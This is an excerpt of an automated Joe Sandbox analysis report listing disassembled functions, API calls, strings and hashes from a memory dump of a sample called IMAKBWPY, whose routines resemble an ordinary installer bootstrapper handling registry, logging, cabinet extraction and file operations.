Instruction ID: cbe79184646a6154d53e9d939a0d2e6ca34be7216f07da012d736c00165fe95b
Opcode Fuzzy Hash: cb75d7e5c4015c24bb2224bcaaf46ce2271c1b64335284a4a84e238fab62191b
Instruction Fuzzy Hash: A84106B6D0121DAF8B01DF99D985AEEBBF8FF48320F10416AF914A7340E770A9008B95

Function 009E159E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 117stringregistryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,00000000,00000000,BundleUpgradeCode), ref: 009E15DA
lstrlenW.KERNEL32(?,00000002,00000001,?,00000002,00000001,00000000,00000000,BundleUpgradeCode), ref: 009E163C
lstrlenW.KERNEL32(?), ref: 009E1648
RegSetValueExW.ADVAPI32(?,?,00000000,00000007,?,?,00000001,?,?,00000002,00000001,00000000,00000000,BundleUpgradeCode), ref: 009E168B

Strings

BundleUpgradeCode, xrefs: 009E15A7
regutil.cpp, xrefs: 009E16B3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: lstrlen$Value
String ID: BundleUpgradeCode$regutil.cpp
API String ID: 198323757-1648651458
Opcode ID: e3c0ccd21a3a87cb188c08b457f1f686d0723c1386ebf22add8c8aecdd566039
Instruction ID: 62a5183554013e35877b43d18ca25d34d11902dec06629f440d12d87f20da23d
Opcode Fuzzy Hash: e3c0ccd21a3a87cb188c08b457f1f686d0723c1386ebf22add8c8aecdd566039
Instruction Fuzzy Hash: E3417172900669AFCB12DF998C85AAEBBB8FB44B50F050155FD11AB210D730DD119BE0

Function 009E0523 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00A0B5FC,00000000,?,?,?,009B4207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,009A54FA,?), ref: 009E0533
CreateFileW.KERNEL32(40000000,00000001,00000000,00000000,00000080,00000000,?,00000000,?,?,?,00A0B5F4,?,009B4207,00000000,Setup), ref: 009E05D7
GetLastError.KERNEL32(?,009B4207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,009A54FA,?,?,?), ref: 009E05E7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,009B4207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,009A54FA,?), ref: 009E0621

Part of subcall function 009A2DBF: GetLocalTime.KERNEL32(?,?,?,?,?,?), ref: 009A2F09

LeaveCriticalSection.KERNEL32(00A0B5FC,?,?,00A0B5F4,?,009B4207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,009A54FA,?), ref: 009E067A

Strings

logutil.cpp, xrefs: 009E0606

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalFileSection$CreateEnterErrorLastLeaveLocalPointerTime
String ID: logutil.cpp
API String ID: 4111229724-3545173039
Opcode ID: 8f4699e26b320c5c738765806303f3c7e6f44572735a9671c6dba551197b5f51
Instruction ID: fdd2b3dc0eb7d60f0a8b3df97342eb497ad7ebb306016e6035e7fed9463e2c68
Opcode Fuzzy Hash: 8f4699e26b320c5c738765806303f3c7e6f44572735a9671c6dba551197b5f51
Instruction Fuzzy Hash: C831F93190029EFBDB129FA69D85F5E766CEBC0B54F010264F901AB160D7B1DDA19BA0

Function 009C398D Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009C39F4

Strings

Failed to escape string., xrefs: 009C3A76
Failed to format property string part., xrefs: 009C3A6F
Failed to format property value., xrefs: 009C3A7D
%s%="%s", xrefs: 009C3A27
Failed to append property string part., xrefs: 009C3A68

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Open@16
String ID: %s%="%s"$Failed to append property string part.$Failed to escape string.$Failed to format property string part.$Failed to format property value.
API String ID: 3613110473-515423128
Opcode ID: 0bcb7f90073295da72c45945e9bbdab24c1f66da9d16170c76a48b63a4a62cc6
Instruction ID: 75d9975d3303eed4a202633d56eb877d5456d0743aea10dd974ced65d7033959
Opcode Fuzzy Hash: 0bcb7f90073295da72c45945e9bbdab24c1f66da9d16170c76a48b63a4a62cc6
Instruction Fuzzy Hash: A531AD72D0421AEBCF159F98CC42FAEB768AB40714F10C26EF91166251D770AF60DB92

Function 009E41E5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

MoveFileExW.KERNEL32(00000003,00000001,00000000,00000000,00000101,?,009E432E,00000003,00000001,00000001,000007D0,00000003,00000000,?,009BA063,00000001), ref: 009E4203
GetLastError.KERNEL32(00000002,?,009E432E,00000003,00000001,00000001,000007D0,00000003,00000000,?,009BA063,00000001,000007D0,00000001,00000001,00000003), ref: 009E4212
MoveFileExW.KERNEL32(00000003,00000001,00000000,00000001,00000000,?,009E432E,00000003,00000001,00000001,000007D0,00000003,00000000,?,009BA063,00000001), ref: 009E42A6
GetLastError.KERNEL32(?,009E432E,00000003,00000001,00000001,000007D0,00000003,00000000,?,009BA063,00000001,000007D0,00000001), ref: 009E42B0

Part of subcall function 009E4440: FindFirstFileW.KERNEL32(009C923A,?,00000100,00000000,00000000), ref: 009E447B
Part of subcall function 009E4440: FindClose.KERNEL32(00000000), ref: 009E4487

Strings

fileutil.cpp, xrefs: 009E42CF
\, xrefs: 009E4265

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: File$ErrorFindLastMove$CloseFirst
String ID: \$fileutil.cpp
API String ID: 3479031965-1689471480
Opcode ID: ba7f98153934c9f6c52a022eaa92b5b91017462666c0d29c4829b384bc5fd786
Instruction ID: e9032142ebc96e14b4ec8370da546dd40e2d242dfb07aaa3b70402df3c035c01
Opcode Fuzzy Hash: ba7f98153934c9f6c52a022eaa92b5b91017462666c0d29c4829b384bc5fd786
Instruction Fuzzy Hash: F431E336A052A6ABDF235F9BCC40B6F766DFFA1760B118029FE24AB350D3708C4096D0

Function 009A732C Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,00000000,00000000,?,?,?,009A5932,00000100,00000100,00000000,00000000,00000001,00000000,00000100), ref: 009A733E
LeaveCriticalSection.KERNEL32(00000000,00000000,00000100,00000000,?,?,?,009A5932,00000100,00000100,00000000,00000000,00000001,00000000,00000100), ref: 009A741D

Strings

Failed to get unformatted string., xrefs: 009A73AE
Failed to get variable: %ls, xrefs: 009A737F
Failed to format value '%ls' of variable: %ls, xrefs: 009A73E7
*****, xrefs: 009A73D9, 009A73E6
Failed to get value as string for variable: %ls, xrefs: 009A740C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: *****$Failed to format value '%ls' of variable: %ls$Failed to get unformatted string.$Failed to get value as string for variable: %ls$Failed to get variable: %ls
API String ID: 3168844106-2873099529
Opcode ID: 4b9c29d5c04dfa9b1a5e049526265222e8d248837f920cfe91069529596c9103
Instruction ID: 9d800ce10165c7051e614f74aed649779b21ebbb09f08d37bdbc1a9d38981324
Opcode Fuzzy Hash: 4b9c29d5c04dfa9b1a5e049526265222e8d248837f920cfe91069529596c9103
Instruction Fuzzy Hash: 0F31D43290865AFBCF225F80CC06FAEBBA9FF56321F014525FD106A160D775AE51ABD0

Function 009B8DEC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

InitializeAcl.ADVAPI32(?,00000008,00000002,0000001A,00000000,?,00000000,00000000,?,?,00000000), ref: 009B8E37
GetLastError.KERNEL32 ref: 009B8E41
SetFileAttributesW.KERNEL32(?,00000080,?,00000001,20000004,00000000,00000000,?,00000000,00000003,000007D0,?,00000000,00000000,?,?), ref: 009B8EA1

Strings

cache.cpp, xrefs: 009B8E65
Failed to allocate administrator SID., xrefs: 009B8E1D
Failed to initialize ACL., xrefs: 009B8E6F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AttributesErrorFileInitializeLast
String ID: Failed to allocate administrator SID.$Failed to initialize ACL.$cache.cpp
API String ID: 669721577-1117388985
Opcode ID: c4622bd9427734d29f42103f08ecfea184d582685626ea0431ff5e9e6df516a7
Instruction ID: d3aca0fa0ba0445a63c722a867ed3ccee376eea9ef325c734c4cfe4efde0fae0
Opcode Fuzzy Hash: c4622bd9427734d29f42103f08ecfea184d582685626ea0431ff5e9e6df516a7
Instruction Fuzzy Hash: 0A21A832A44228B7DB21AAD59D85FEFB76DAB84B30F114125FE14FB280DA749D00D790

Function 009A4212 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000000,00000000,?,00000000,crypt32.dll,?,?,009B4028,00000001,feclient.dll,?,00000000,?,?,?,009A4B12), ref: 009A424D
GetLastError.KERNEL32(?,?,009B4028,00000001,feclient.dll,?,00000000,?,?,?,009A4B12,?,?,009EB488,?,00000001), ref: 009A4259
GetCurrentDirectoryW.KERNEL32(00000000,?,?,00000000,?,?,009B4028,00000001,feclient.dll,?,00000000,?,?,?,009A4B12,?), ref: 009A4294
GetLastError.KERNEL32(?,?,009B4028,00000001,feclient.dll,?,00000000,?,?,?,009A4B12,?,?,009EB488,?,00000001), ref: 009A429E

Strings

dirutil.cpp, xrefs: 009A42C2
crypt32.dll, xrefs: 009A4216

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CurrentDirectoryErrorLast
String ID: crypt32.dll$dirutil.cpp
API String ID: 152501406-1104880720
Opcode ID: 67e0e9ed84475af9241f3531a6b135aa7c7648c5dd344339eeea87b94ef04db9
Instruction ID: 7cab4c76c46643b1f4d7bf92625e823ecc28a91ac0d0c84f0776413f3ab205eb
Opcode Fuzzy Hash: 67e0e9ed84475af9241f3531a6b135aa7c7648c5dd344339eeea87b94ef04db9
Instruction Fuzzy Hash: 86119A77E41637AB97215ADA4C8475BBA5CEF86761B110165FE10EB250E760DC0096E0

Function 009C0B8E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74fileCOMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 009C0BDE
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 009C0BFD
GetLastError.KERNEL32 ref: 009C0C07

Strings

Unexpected call to CabWrite()., xrefs: 009C0BC1
cabextract.cpp, xrefs: 009C0C2B
Failed to write during cabinet extraction., xrefs: 009C0C35

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastWrite_memcpy_s
String ID: Failed to write during cabinet extraction.$Unexpected call to CabWrite().$cabextract.cpp
API String ID: 1970631241-3111339858
Opcode ID: d0ffd6f811fa34e57f32f8c861e9d015f60e703260d1e09faf5008a9e6e36090
Instruction ID: 4a69f32194a881978523707955c0ed5a6dd914d16ad925016d260740514f631c
Opcode Fuzzy Hash: d0ffd6f811fa34e57f32f8c861e9d015f60e703260d1e09faf5008a9e6e36090
Instruction Fuzzy Hash: 87210176944209EBCB10CF9CC881E6A37A8FFC8324F214159FE18CB242E631ED00DB61

Function 009A9AE0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 72COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009A9AFB
GetFileAttributesW.KERNEL32(00000000,000002C0,?,00000000,00000000,000002C0,00000100,00000000,00000000,?,009AA8B4,00000100,000002C0,000002C0,00000100), ref: 009A9B10
GetLastError.KERNEL32(?,009AA8B4,00000100,000002C0,000002C0,00000100), ref: 009A9B1B

Strings

Failed to format variable string., xrefs: 009A9B06
Failed to set variable., xrefs: 009A9B7A
Failed while searching directory search: %ls, for path: %ls, xrefs: 009A9B54

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Failed to format variable string.$Failed to set variable.$Failed while searching directory search: %ls, for path: %ls
API String ID: 1811509786-402580132
Opcode ID: b2e65385c7f1929ed9f7d66587c3d9b672826f23a77431785a75c99c70f0414f
Instruction ID: a228c232ae3160cdc6d255314302ae69199349c5c35c3a6ad5ae25f950c70caa
Opcode Fuzzy Hash: b2e65385c7f1929ed9f7d66587c3d9b672826f23a77431785a75c99c70f0414f
Instruction Fuzzy Hash: 66112932940575FBDB221A99AC82F6EF658FF82374F100311FE1066190C7659D50A2E0

Function 009C0C57 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 009C0CC4
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 009C0CD6
SetFileTime.KERNEL32(?,?,?,?), ref: 009C0CE9
CloseHandle.KERNEL32(000000FF,?,?,?,?,?,?,?,?,?,?,?,?,009C08B1,?,?), ref: 009C0CF8

Strings

cabextract.cpp, xrefs: 009C0C93
Invalid operation for this state., xrefs: 009C0C9D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Time$File$CloseDateHandleLocal
String ID: Invalid operation for this state.$cabextract.cpp
API String ID: 609741386-1751360545
Opcode ID: 9c798678a483f21a24e526c487fef862e9a0c0c725d060fd4a10fc5b4d6ca2ed
Instruction ID: b41869fbc07f9d0f32acc1044b3fec2e44c30dfb7ddad4368637e8ad77417140
Opcode Fuzzy Hash: 9c798678a483f21a24e526c487fef862e9a0c0c725d060fd4a10fc5b4d6ca2ed
Instruction Fuzzy Hash: C4210871C1121AEB8B109FA8CC49EBA7BBCFF84720B50421AF565D61D0D374ED51CB91

Function 009B4A77 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,crypt32.dll,00000000,00000000,00000000,?,009B539D), ref: 009B4AC3

Strings

Failed to allocate message to write., xrefs: 009B4AA2
Failed to write message type to pipe., xrefs: 009B4B05
pipe.cpp, xrefs: 009B4AFB
crypt32.dll, xrefs: 009B4A7D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FileWrite
String ID: Failed to allocate message to write.$Failed to write message type to pipe.$crypt32.dll$pipe.cpp
API String ID: 3934441357-606776022
Opcode ID: 08439a575eb85f8c3c1d2388e00b72620b8b05414c60c6ca38d6c7806dcf0c25
Instruction ID: 996b9929b9dd8f4e84124114ad0ce0524d392a38ae978cf8c2c7bfdf5e6b1add
Opcode Fuzzy Hash: 08439a575eb85f8c3c1d2388e00b72620b8b05414c60c6ca38d6c7806dcf0c25
Instruction Fuzzy Hash: 35119D32940129BBCB219F85DE05BEF7BA8EB80760F114065FA00B6252D730AE50E7A1

Function 009B4642 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

_memcpy_s.LIBCMT ref: 009B4693
_memcpy_s.LIBCMT ref: 009B46A6
_memcpy_s.LIBCMT ref: 009B46C1

Strings

feclient.dll, xrefs: 009B465B, 009B4691
Failed to allocate memory for message., xrefs: 009B467C
pipe.cpp, xrefs: 009B4672

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: _memcpy_s$Heap$AllocateProcess
String ID: Failed to allocate memory for message.$feclient.dll$pipe.cpp
API String ID: 886498622-766083570
Opcode ID: 01fe06d6ee9ed00748fa3b978360f6ba6a5c25e9588465c042973c8b467ab07a
Instruction ID: d7a10c8dc8ab970ae49a761104dee2db7d531cea1739e7d3eab4df27d52dbef7
Opcode Fuzzy Hash: 01fe06d6ee9ed00748fa3b978360f6ba6a5c25e9588465c042973c8b467ab07a
Instruction Fuzzy Hash: F911A0B210030EABDB01EE94CC82DEBB3ADEF85B14B004526FA10DB142D775DA54C7E0

Function 009E3C72 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 009E3CC0
GetLastError.KERNEL32(?,?,00000000), ref: 009E3CCA
CloseHandle.KERNEL32(?,?,?,00000000), ref: 009E3CFD

Strings

shelutil.cpp, xrefs: 009E3CEB
<, xrefs: 009E3CB2
PDu, xrefs: 009E3CC0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseErrorExecuteHandleLastShell
String ID: <$PDu$shelutil.cpp
API String ID: 3023784893-2418939910
Opcode ID: cb1555d8782e2babb76e04a5eb5958159d2e785f8b363a92db85334645bcf35f
Instruction ID: deadb36dac9df9142d1fdc20be7771af1bf18b02bcca554246523a8dc752d8e6
Opcode Fuzzy Hash: cb1555d8782e2babb76e04a5eb5958159d2e785f8b363a92db85334645bcf35f
Instruction Fuzzy Hash: 7011C775E01259ABCB11DFAAD949A9E7BF8BB08750F108115FD15E7340E734DE10CBA4

Function 009A9A4D Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 57COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 009A9AC4

Strings

Failed to copy condition string from BSTR, xrefs: 009A9AAE
Failed to get Condition inner text., xrefs: 009A9A94
`<u, xrefs: 009A9AC4
Failed to select condition node., xrefs: 009A9A7B
Condition, xrefs: 009A9A5F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeString
String ID: Condition$Failed to copy condition string from BSTR$Failed to get Condition inner text.$Failed to select condition node.$`<u
API String ID: 3341692771-266405526
Opcode ID: ad790db794317f42dcf6a1c45f1095997c822764ea8d1f3edfbd260aa686e6f8
Instruction ID: 5442c622922df2dbc4982a0970c6261854e49ef2d77df24a2a62859c4b52ed73
Opcode Fuzzy Hash: ad790db794317f42dcf6a1c45f1095997c822764ea8d1f3edfbd260aa686e6f8
Instruction Fuzzy Hash: E211C432906268BBCB129B95CD0AFADBB68FF41765F208256FC01BB150DBB59E40D6C0

Function 009E96CD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

AcquireSRWLockExclusive, xrefs: 009E96FC
KERNEL32.DLL, xrefs: 009E96E7
ReleaseSRWLockExclusive, xrefs: 009E970C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 08751a974618ae64db7c4219907a87c8cedfd31e1c70322efc17583694e852fc
Instruction ID: 470f24909430fa5d1c39b0caa6d4f2b3a76c0dc1ea62fb069a953bdfbeb44b1e
Opcode Fuzzy Hash: 08751a974618ae64db7c4219907a87c8cedfd31e1c70322efc17583694e852fc
Instruction Fuzzy Hash: DE01F9716762E75B8F239E676CC06D7238C6B067923100977D521D7140DB22CC5AE6A0

Function 009E0ACC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,?,?,?,009A5EB2,00000000), ref: 009E0AE0
GetProcAddress.KERNEL32(00000000), ref: 009E0AE7
GetLastError.KERNEL32(?,?,?,009A5EB2,00000000), ref: 009E0AFE

Strings

kernel32, xrefs: 009E0AD8
IsWow64Process, xrefs: 009E0AD1
procutil.cpp, xrefs: 009E0B1F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: IsWow64Process$kernel32$procutil.cpp
API String ID: 4275029093-1586155540
Opcode ID: 030da1bbfc9eff2d526513ff7d062b50d05c130752138a10a1086048d210017f
